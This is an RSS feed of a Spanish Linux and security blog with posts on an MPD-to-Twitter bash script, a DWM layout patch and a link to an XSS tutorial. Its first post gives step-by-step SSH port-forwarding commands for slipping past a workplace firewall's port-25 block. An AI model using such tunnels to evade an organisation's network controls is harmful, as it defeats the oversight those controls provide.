<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>El rincón de Zerial &#187; Documentacion</title>
	<atom:link href="http://blog.zerial.org/category/linux/documentacion/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zerial.org</link>
	<description>Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio</description>
	<lastBuildDate>Tue, 20 Jul 2010 18:13:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>SSH, Port Forwarding y Tunneling: Saltarse las restricciones del firewall</title>
		<link>http://blog.zerial.org/seguridad/ssh-port-forwarding-y-tunneling-saltarse-las-restricciones-del-firewall/</link>
		<comments>http://blog.zerial.org/seguridad/ssh-port-forwarding-y-tunneling-saltarse-las-restricciones-del-firewall/#comments</comments>
		<pubDate>Sat, 06 Feb 2010 19:59:04 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[port forwarding]]></category>
		<category><![CDATA[redes]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[tunneling]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1502</guid>
		<description><![CDATA[En mi nuevo lugar de trabajo, misteriosamente está bloqueado por el firewall, entre otras cosas, la salida al puerto 25 de cualquier servidor. Desde mi portatil uso el cliente de correo Thunderbird conectandose a distintas cuentas  de correo que tengo alojadas en Google Apps asi que no podía quedarme sin revisar mis cuentas de correo, [...]]]></description>
			<content:encoded><![CDATA[<p>En mi nuevo lugar de trabajo, misteriosamente está bloqueado por el firewall, entre otras cosas, la salida al puerto 25 de cualquier servidor. Desde mi portatil uso el cliente de correo Thunderbird conectandose a distintas cuentas  de correo que tengo alojadas en Google Apps asi que no podía quedarme sin revisar mis cuentas de correo, por lo que tuve que buscar la forma de hacerlo.<br />
<a href="http://blog.zerial.org/wp-content/uploads/2010/02/firwall.png"><img class="alignleft size-medium wp-image-1503" title="firwall" src="http://blog.zerial.org/wp-content/uploads/2010/02/firwall-300x167.png" alt="" width="250" height="139" /></a>Lo primero que se me vino a la cabeza es hacer un port forwarding con ssh usando un servidor externo, sabiendo que tengo el puerto 22 desbloqueado para salir. Entonces, accedería a cualquier servicio corriendo en el puerto 25 mediante un redireccionamiento a traves del puerto 22. Con esta técnica podemos saltarons el firewall y todas las restricciones.</p>
<p><span id="more-1502"></span></p>
<p>El port forwarding, según el mismo manual de ssh, corresponde a:</p>
<blockquote><p>Specifies that the given port on the local (client) host is to be<br />
forwarded to the given host and port on the remote side.  This<br />
works by allocating a socket to listen to port on the local side,<br />
optionally bound to the specified bind_address.  Whenever a con-<br />
nection is made to this port, the connection is forwarded over<br />
the secure channel, and a connection is made to host port<br />
hostport from the remote machine.	Port forwardings can also be<br />
specified in the configuration file.  IPv6 addresses can be spec-<br />
ified with an alternative syntax:<br />
[bind_address/]port/host/hostport or by enclosing the address in<br />
square brackets.  Only the superuser can forward privileged<br />
ports.  By default, the local port is bound in accordance with<br />
the GatewayPorts setting.	However, an explicit bind_address may<br />
be used to bind the connection to a specific address.  The<br />
bind_address of &#8220;localhost&#8221; indicates that the listening port<br />
be bound for local use only, while an empty address or &#8216;*&#8217; indi-<br />
cates that the port should be available from all interfaces.</p></blockquote>
<p>En simples palabras, lo que se hace, es habilitar un puerto local, por el cual se hara un redireccionamiento, a traves de ssh y el servidor remoto, hacia nuestro destino.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/02/SSH-Portforwarding.png"><img class="aligncenter size-full wp-image-1507" title="SSH-Portforwarding" src="http://blog.zerial.org/wp-content/uploads/2010/02/SSH-Portforwarding.png" alt="" width="628" height="472" /></a></p>
<h2>Paso a paso</h2>
<p>Mapear la dirección de destino a nuestor localhost, en mi caso (y como ejemplo) usaré <strong>smtp.gmail.com</strong>. Debemos editar el <em>/etc/hosts</em> y agregar a la línea de 127.0.0.1 nuestro destino:<br />
<code>127.0.0.1		localhost.localdomain	localhost smtp.gmail.com</code><br />
Verificamos:<br />
<code> $ ping -c1 smtp.gmail.com<br />
PING localhost.localdomain (127.0.0.1) 56(84) bytes of data.<br />
64 bytes from localhost.localdomain (127.0.0.1): icmp_seq=1 ttl=64 time=0.038 ms</code><br />
Ahora, para nuestro sistema, el host smtp.gmail.com está apuntando a nuestra misma máquina.</p>
<p>Ahora, hacemos el port forwading usando el parámetro <strong>-L</strong> de la siguiente forma:<br />
<code># ssh -L25:smtp.gmail.com:25 zerial@mydomain.org</code></p>
<p>Una véz logeados, ya va a estar hecho el redireccionamiento de puerto. Lo que hacemos con esa linea es decirle que todo el trafico desde <strong>localhost:25</strong> lo lleve a traves de <strong>mydomain.org:22</strong> a nuestro destino <strong>smtp.gmail.com:25</strong>.</p>
<p>Ahora realizamos la prueba, para ver si realmente tenemos salida a <strong>smtp.gmail.com:25</strong>:<br />
<code>$ telnet localhost 25<br />
Trying 127.0.0.1...<br />
Connected to localhost.<br />
Escape character is '^]'.<br />
220 mx.google.com ESMTP 42sm25383892vws.12</code></p>
<p>Listo. Obviamente, el Firewall no podrá bloquear el tráfico de <em>localhost</em> y tampoco el de ssh, ya que va <strong>cifrado</strong>.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fssh-port-forwarding-y-tunneling-saltarse-las-restricciones-del-firewall%2F&amp;linkname=SSH%2C%20Port%20Forwarding%20y%20Tunneling%3A%20Saltarse%20las%20restricciones%20del%20firewall" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fssh-port-forwarding-y-tunneling-saltarse-las-restricciones-del-firewall%2F&amp;linkname=SSH%2C%20Port%20Forwarding%20y%20Tunneling%3A%20Saltarse%20las%20restricciones%20del%20firewall" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fssh-port-forwarding-y-tunneling-saltarse-las-restricciones-del-firewall%2F&amp;linkname=SSH%2C%20Port%20Forwarding%20y%20Tunneling%3A%20Saltarse%20las%20restricciones%20del%20firewall" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fssh-port-forwarding-y-tunneling-saltarse-las-restricciones-del-firewall%2F&amp;linkname=SSH%2C%20Port%20Forwarding%20y%20Tunneling%3A%20Saltarse%20las%20restricciones%20del%20firewall" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fssh-port-forwarding-y-tunneling-saltarse-las-restricciones-del-firewall%2F&amp;linkname=SSH%2C%20Port%20Forwarding%20y%20Tunneling%3A%20Saltarse%20las%20restricciones%20del%20firewall" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fssh-port-forwarding-y-tunneling-saltarse-las-restricciones-del-firewall%2F&amp;linkname=SSH%2C%20Port%20Forwarding%20y%20Tunneling%3A%20Saltarse%20las%20restricciones%20del%20firewall" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fssh-port-forwarding-y-tunneling-saltarse-las-restricciones-del-firewall%2F&amp;linkname=SSH%2C%20Port%20Forwarding%20y%20Tunneling%3A%20Saltarse%20las%20restricciones%20del%20firewall" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fssh-port-forwarding-y-tunneling-saltarse-las-restricciones-del-firewall%2F&amp;linkname=SSH%2C%20Port%20Forwarding%20y%20Tunneling%3A%20Saltarse%20las%20restricciones%20del%20firewall">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/ssh-port-forwarding-y-tunneling-saltarse-las-restricciones-del-firewall/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>mpd-twitter: Publicar en twitter lo que estas escuchando</title>
		<link>http://blog.zerial.org/linux/mpd-twitter-publicar-en-twitter-lo-que-estas-escuchando/</link>
		<comments>http://blog.zerial.org/linux/mpd-twitter-publicar-en-twitter-lo-que-estas-escuchando/#comments</comments>
		<pubDate>Sun, 10 Jan 2010 19:56:18 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[archlinux]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[mpc]]></category>
		<category><![CDATA[mpd]]></category>
		<category><![CDATA[music player daemon]]></category>
		<category><![CDATA[pkgbuild]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[twtiter]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1370</guid>
		<description><![CDATA[Ultimamente he estado usando el Music Player Daemon (MPD) para escuchar música. Tambien me he dado cuenta que en Twitter hace varios días está de trending topic el hashtag #nowplaying, donde la gente publica lo que está escuchando. En base a ésto y a un poco de imaginación y tiempo libre, cree un script en [...]]]></description>
			<content:encoded><![CDATA[<p>Ultimamente he estado usando el <a href="http://mpd.wikia.com/" target="_blank">Music Player Daemon (MPD)</a> para escuchar música. Tambien me he dado cuenta que en Twitter hace varios días está de <a href="http://twitter.com/#search?q=%23nowplaying" target="_blank"><em>trending topic</em> el hashtag #nowplaying</a>, donde la gente publica lo que está escuchando. En base a ésto y a un poco de imaginación y tiempo libre, cree un script en bash que me permite publicar lo que estoy escuchando.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/shot_nowplaying.png"><img class="aligncenter size-full wp-image-1371" title="shot_nowplaying" src="http://blog.zerial.org/wp-content/uploads/2010/01/shot_nowplaying.png" alt="" width="600" height="200" /></a></p>
<p>El script, llamado <a href="http://dev.zerial.org/mpd-twitter" target="_blank">mpd-twitter</a>,  usa el cliente <strong>mpc</strong> para conectarse a <strong>mpd</strong> y obtener el artista y nombre de la reproducción actual, hacer el <em>parseo</em> necesario y posteriormente publica un estado en twitter.</p>
<p><span id="more-1370"></span></p>
<pre name="code" class="c">
#!/bin/bash
#
# Author: Zerial <fernando @zerial.org>
# Version: 0.1
# URL: http://dev.zerial.org/mpd-twitter
# License: GPL
#

CONF_FILE=$HOME/.mpd-twitter
USER=$(grep ^USERNAME $CONF_FILE |cut -f 2 -d "=")
PASS=$(grep ^PASSWORD $CONF_FILE |cut -f 2 -d "=")

if [ -f $CONF_FILE ]; then
	BEFORE=$(grep ^BEFORE $CONF_FILE |cut -f 2 -d "=")
	AFTER=$(grep ^AFTER $CONF_FILE |cut -f 2 -d "=")
else
	Xdialog --title "Error" --beep --msgbox "Can't read your local config file. Please copy the /usr/local/share/mpd-twitter/mpd-twitter.local to $HOME/.mpd-twitter" 200 100
	exit
fi

CURRENT_SONG=$(mpc current)
MY_UPDATE="$BEFORE $CURRENT_SONG $AFTER"

curl -u "$USER:$PASS" -d "status=$MY_UPDATE" -d "source=mpd-twit" "http://twitter.com/statuses/update.json"
exit
</fernando></pre>
<p>El archivo de configuración, que debe estar ubicado en <strong>~/.mpd-twitter</strong>, es:</p>
<pre name="code" class="c">
#
# Local Config file for mpd-twitter
#
#
# Config the username and password
#
USERNAME=your_username
PASSWORD=your_password
#
# Text before and text after the song.
# example:
# if BEFORE=Listening and AFTER=(powered by xxx)
# mpd-twitter will send "Listening <current song> (powered by xxx)"
#
BEFORE=#nowplaying
AFTER=(powered by mpd)
</current></pre>
<p>Para los usuarios de Archlinux que quieran probarlo, he creado un PKGBUILD:</p>
<pre name="code" class="php">
# Contributor: Zerial <fernando @zerial.org>
pkgname=mpd-twitter
pkgver=0.1
pkgrel=4
pkgdesc="Publish on twitter what you are listening on MPD"
arch=('i686' 'x86_64')
url="http://dev.zerial.org/mpd-twitter"
license=('GPL')
depends=('xdialog' 'curl' 'mpc')
source=(http://dev.zerial.org/mpd-twitter/${pkgname}_${pkgver}.tar.gz)
md5sums=('3d73b79fa38bd60f637386146137999b')

build(){
	cd $startdir/src/$pkgname
	install -d $startdir/pkg/usr/local/share/mpd-twitter
	mkdir $startdir/pkg/usr/bin
	install -m744 $startdir/src/$pkgname/mpd-twitter.local $startdir/pkg/usr/local/share/mpd-twitter/
	install -m755 $startdir/src/$pkgname/mpd-twitter $startdir/pkg/usr/bin/
}
</fernando></pre>
<p>Tambien lo pueden encontrar <a href="http://aur.archlinux.org/packages.php?ID=33483">en el repositorio AUR</a>.</p>
<p>La idea es lanzar el script con algun hotkey de nuestro gestor de ventanas y asi, cada véz que quieras mostrar lo que estás escuchando, simplemente precionas la combinacion de teclas que configuraste. Por ejemplo, en DWM la he configurado asi:</p>
<pre name="code" class="c">
[...]
/* commands */
static const char *mpdtwittercmd[] = { "mpd-twitter", NULL };
static Key keys[] = {
[...]
      { MODKEY|ShiftMask,                     XK_t,   spawn,  {.v = mpdtwittercmd } },
[...]
</pre>
<p>De esta forma, cada vez que presiono Alt+Shift + T, aparece en twitter lo que estoy escuchando.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fmpd-twitter-publicar-en-twitter-lo-que-estas-escuchando%2F&amp;linkname=mpd-twitter%3A%20Publicar%20en%20twitter%20lo%20que%20estas%20escuchando">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/mpd-twitter-publicar-en-twitter-lo-que-estas-escuchando/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Bottom Stack en Dynamic Window Manager (DWM)</title>
		<link>http://blog.zerial.org/linux/bottom-stack-en-dynamic-window-manager-dwm/</link>
		<comments>http://blog.zerial.org/linux/bottom-stack-en-dynamic-window-manager-dwm/#comments</comments>
		<pubDate>Thu, 07 Jan 2010 00:10:49 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[dwm]]></category>
		<category><![CDATA[dynamic window manager]]></category>
		<category><![CDATA[gnu/linux]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1358</guid>
		<description><![CDATA[Hace meses que me decidí por usar DWM y de a poco voy teniendo distintas necesidades, por lo que he ido configurando poco a poco el gestor. Ultimamente, me dieron ganas de querer ordenar las ventanas de forma horizontal y revisando el sitio de DWM he encontrado el llamado &#8220;Bottom Stack&#8221;, que me ayudará a [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1359" style="margin: 4px;" title="dwm" src="http://blog.zerial.org/wp-content/uploads/2010/01/dwm.png" alt="" width="96" height="40" />Hace meses que me decidí por usar DWM y de a poco voy teniendo distintas necesidades, por lo que he ido configurando poco a poco el gestor. Ultimamente, me dieron ganas de querer ordenar las ventanas de forma horizontal y revisando el sitio de DWM he encontrado el llamado &#8220;Bottom Stack&#8221;, que me ayudará a cumplir mi propósito.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/dwm_ad.png"><img class="aligncenter size-full wp-image-1361" title="dwm_ad" src="http://blog.zerial.org/wp-content/uploads/2010/01/dwm_ad.png" alt="" width="519" height="158" /></a></p>
<p>Para lograrlo, simplemente tenemos que agregar un par de líneas al <em>config.h</em> y volver a compilarlo.</p>
<p><span id="more-1358"></span></p>
<p>Debemos descargar los ficheros <a href="http://dwm.suckless.org/patches/bstack.c">bstack.c</a> y <a href="http://dwm.suckless.org/patches/bstackhoriz.c">bstackhoriz.c</a> y agregar las siguientes líneas a nuestro fichero de configuración <em>config.h</em>, despues de la definición de la variable <strong>mfact</strong> y antes de la definición de <strong>layouts</strong>:</p>
<pre name="code" class="c">
#include "bstack.c"
#include "bstackhoriz.c"
</pre>
<p>Y dentro de la definición de <strong>layouts</strong> debemos agregar:</p>
<pre name="code" class="c">
{ "TTT",      bstack },
{ "===",      bstackhoriz },
</pre>
<p>El fichero <em>config.h</em> se debería ver mas o menos así:</p>
<pre name="code" class="c">
[...]

/* layout(s) */
static const float mfact      = 0.55; /* factor of master area size [0.05..0.95] */
static const Bool resizehints = True; /* False means respect size hints in tiled resizals */

#include "bstack.c"
#include "bstackhoriz.c"

static const Layout layouts[] = {
        /* symbol     arrange function */
        { "TTT",      bstack },
        { "[]=",      tile },    /* first entry is default */
        { "><>",      NULL },    /* no layout function means floating behavior */
        { "[M]",      monocle },
        { "===",      bstackhoriz },
};

/* key definitions */
#define MODKEY Mod1Mask
#define TAGKEYS(KEY,TAG) \

[...]
</pre>
<p><strong>Imágenes:</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/dwm_showTILE.png"><img src="http://blog.zerial.org/wp-content/uploads/2010/01/dwm_showTILE-300x187.png" alt="" title="dwm_showTILE" width="300" height="187" class="aligncenter size-medium wp-image-1366" /></a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2010/01/dwm_showTTT.png"><img src="http://blog.zerial.org/wp-content/uploads/2010/01/dwm_showTTT-300x187.png" alt="" title="dwm_showTTT" width="300" height="187" class="aligncenter size-medium wp-image-1367" /></a></p>
<p>Pueden encontrar el artículo original en el siguiente link:<br />
<a target="_blank" href="http://dwm.suckless.org/patches/bottom_stack">http://dwm.suckless.org/patches/bottom_stack</a></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fbottom-stack-en-dynamic-window-manager-dwm%2F&amp;linkname=Bottom%20Stack%20en%20Dynamic%20Window%20Manager%20%28DWM%29">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/bottom-stack-en-dynamic-window-manager-dwm/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Cruzando la información en un sitio web vulnerable</title>
		<link>http://blog.zerial.org/seguridad/cruzando-la-informacion-en-un-sitio-web-vulnerable/</link>
		<comments>http://blog.zerial.org/seguridad/cruzando-la-informacion-en-un-sitio-web-vulnerable/#comments</comments>
		<pubDate>Sat, 05 Dec 2009 12:49:55 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[vulnerabilidades web]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=1170</guid>
		<description><![CDATA[En los artículos que he escrito relacionado a vulnerabilidades webs más comunes siempre aparece el legendario Cross-Site Scripting o XSS. Una vulnerabilidad tan fácil de corregir y a la véz tan común, puede ser muy peligrosa ya que nos permite cruzar la información a través del sitio para luego poder manipularla, por ejemplo el robo [...]]]></description>
			<content:encoded><![CDATA[<p>En los artículos que he escrito relacionado a vulnerabilidades webs más comunes siempre aparece el legendario Cross-Site Scripting o <strong>XSS</strong>. Una vulnerabilidad tan fácil de corregir y a la véz tan común, puede ser muy peligrosa ya que nos permite <em>cruzar la información</em> a través del sitio para luego poder manipularla, por ejemplo el <strong>robo de credenciales</strong> de un sitio web con un login o inicio de sesion.</p>
<p><a href="http://itfreekzone.blogspot.com/" target="_blank"><strong>d3m4s1@d0v1v0</strong></a> escribió un artículo titulado &#8220;<a href="http://itfreekzone.blogspot.com/2009/12/cruzando-informacion-cross-site.html" target="_blank">Cruzando Información, Cross-Site Scripting (XSS)</a>&#8221; en el que, luego de aclarar el fín del artículo</p>
<blockquote><p><span style="font-weight: bold;">ACLARACION:</span> el artículo está dirigido a aquellos que quieran aprender programación web segura, gente dedicada a la seguridad que utiliza el hacking ético para descubrir problemas a solucionar y reportarlos. Para hacer este tipo de ataque deben contar con la aprobación del encargado de la web o quién corresponda.</p></blockquote>
<p>explica detalladamente el por qué del nombre XSS, que es el XSS, cómo se puede &#8220;usar&#8221; el XSS, lograr que el usuario ejecute lo que queremos, entre otras cosas.<br />
Recomiendo el artículo a quienes quieran informarse un poco más sobre el tema.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcruzando-la-informacion-en-un-sitio-web-vulnerable%2F&amp;linkname=Cruzando%20la%20informaci%C3%B3n%20en%20un%20sitio%20web%20vulnerable" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcruzando-la-informacion-en-un-sitio-web-vulnerable%2F&amp;linkname=Cruzando%20la%20informaci%C3%B3n%20en%20un%20sitio%20web%20vulnerable" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcruzando-la-informacion-en-un-sitio-web-vulnerable%2F&amp;linkname=Cruzando%20la%20informaci%C3%B3n%20en%20un%20sitio%20web%20vulnerable" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a 